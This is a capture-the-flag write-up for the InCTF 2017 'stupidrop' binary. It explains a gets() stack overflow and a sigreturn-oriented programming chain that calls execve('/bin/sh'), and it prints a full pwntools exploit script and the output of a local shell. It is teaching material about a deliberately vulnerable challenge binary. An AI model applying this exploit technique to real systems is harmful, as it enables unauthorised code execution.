# Inctf 2017 stupidrop

Let's take a look at the binary:

```
$    file stupidrop
stupidrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4f0ff8340bc3eead42d0f7b14535ee7c74a6ca7d, not stripped
$    pwn checksec stupidrop
[*] '/Hackery/pod/modules/srop/inctf17_stupidrop/stupidrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./stupidrop
15935728
```

So we can see that we are dealing with a `64` bit dynamically linked binary, with an NX stack. When we run it, it prompts us for input:

## Reversing

Looking at the main function, we can see an obvious bug:

```
undefined8 main(void)

{
  char input [48];
 
  setvbuf(stdout,(char *)0x0,2,0);
  alarm(0x20);
  gets(input);
  return 0;
}
```

So it uses `gets`, which gives us a buffer overflow (when we check the offset, we see it is `0x38`) that we can hit the saved return address with. Since there is no Stack Canary, we will be able to get code execution without a leak.

#### Writing /bin/sh

So for our exploit, we will be using an SROP attack to jump to a syscall, and make an `execve("/bin/sh", NULL, NULL)` call. To do that, we will need to write `/bin/sh\x00` somewhere to memory, at an address we know. Looking at the bss in Ghidra, we see that `0x601050` would probably be a good candidate. This is because it doesn't look like anything is stored there that would mess with what we are doing, we know it's address (thanks to no PIE), and that it is in a memory region that we can read and write to:

```
        00601050 00              undefined1 00h
        00601051 00              ??         00h
        00601052 00              ??         00h
        00601053 00              ??         00h
        00601054 00              ??         00h
        00601055 00              ??         00h
        00601056 00              ??         00h
        00601057 00              ??         00h
```

Now for how to write `/bin/sh\x00` to `0x601050`, we will call `gets`. The function `gets` is imported (we can see it under the list of imports in Ghidra), and since PIE isn't enabled we know it's address. So we will just call `gets` with `0x601050` as an argument (which we have the rop gadgets for), and write `/bin/sh\x00` to `0x601050`.

Getting the rop gadget:
```
$ python ROPgadget.py --binary stupidrop | grep "pop rdi"
0x[PII_REDACTED]4006a3 : pop rdi ; ret
```

#### Writing Rax Value

So for the SROP syscall, we will need to set `rax` equal to `0xf` (since `rax` specifies what syscall will be made). However we don't really have any rop gadgets that we can use, which will set it. So we will be setting it by calling the `alarm` function, since return values are stored in the `rax` register.

The `alarm` function is used to specify how many seconds to wait before generating a `SIGALRM`. It takes a single argument, an unsigned int specifying the amount of seconds. If we call `alarm` once, it will set the number of seconds (which the return value will be `0`). If we call it a second time with an argument of `0`, it will cancel the pending alarm and return the number of seconds remaining. With this, we can call `alarm` once with an argument (stored) in the `rdi` register equal to `0xf`. Then proceeding that we can just call `alarm` again with the `rdi` register being equal to `0x0` and it will set `rax` to `0xf` as the return value.

#### SROP attack

Now that we have `rax` set to `0xf`, space on the stack to store our sigreturn frame, and we have a syscall rop gadget:

```
$ python ROPgadget.py --binary stupidrop | grep syscall
0x[PII_REDACTED]40063e : syscall
```

So we have everything we need to make the sigreturn. So we have control over all of the registers. Since we have the syscall rop gadget and a pointer to `/bin/sh`, we can make the `execve("/bin/sh", NULL, NULL)` call. In order to get that, we will have the following registers set accordingly:

```
rip:  0x40063e (address of syscall rop gadget)
rax:  0x3b (specify execve syscall)
rdi:  0x601050 (pointer to "/bin/sh")
rsi:  0x0 (specify no arguments)
rdx:  0x0 (specify no enviornment variables)
```

That syscall will pop a shell for us. We will just store the frame right after the srop syscall, since that will put it at the top of the stack for the sigreturn (which is where it expects it).

## Exploit

Putting it all together, we get the following exploit:

```
from pwn import *

# Establish the target
target = process('./stupidrop')
gdb.attach(target, gdbscript='b *0x400289')

elf = ELF('stupidrop')

context.arch = "amd64"

# Establish needed gadgets
syscall = p64(0x40063e)
popRdi = p64(0x4006a3)

# Establish needed functions
gets = p64(elf.symbols['gets'])
alarm = p64(elf.symbols['alarm'])

# Establish address where we will write "/bin/sh"
binshAdr = p64(0x601050)

# Filler to return address
payload = ""
payload += "0"*0x38

# Use gets to write "/bin/sh" to 0x601050
payload += popRdi
payload += binshAdr
payload += gets


# Use alarm to set the rax register to 0xf
payload += popRdi
payload += p64(0xf)
payload += alarm
payload += popRdi
payload += p64(0x0)
payload += alarm

# Execute the SROP to make the execve call
frame = SigreturnFrame()

# Specify rip to point to the syscall instruction
frame.rip = 0x40063e

# Prep the registers for the execve syscall
frame.rax = 0x3b
frame.rdi = 0x601050
frame.rsi = 0x0
frame.rdx = 0x0

# Add the sigreturn frame to the payload, and make the syscall
payload += syscall
payload += str(frame)


# Send the payload
target.sendline(payload)

# Send "/bin/sh" to the gets call
raw_input()
target.sendline("/bin/sh\x00")


target.interactive()
```

When we run it:

```
$ python exploit.py
[+] Starting local process './stupidrop': pid 10520
[*] running in new terminal: /usr/bin/gdb -q  "./stupidrop" 10520 -x "/tmp/pwnyQjXEX.gdb"
[+] Waiting for debugger: Done
[*] '/Hackery/pod/modules/srop/inctf17_stupidrop/stupidrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

[*] Switching to interactive mode
$ w
 22:09:26 up  3:22,  1 user,  load average: 1.56, 1.80, 1.86
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               18:47   ?xdm?  15:46   0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --session=ubuntu
$ ls
ROPgadget.py  core  exploit.py    readme.md  stupidrop
```

Just like that, we popped a shell!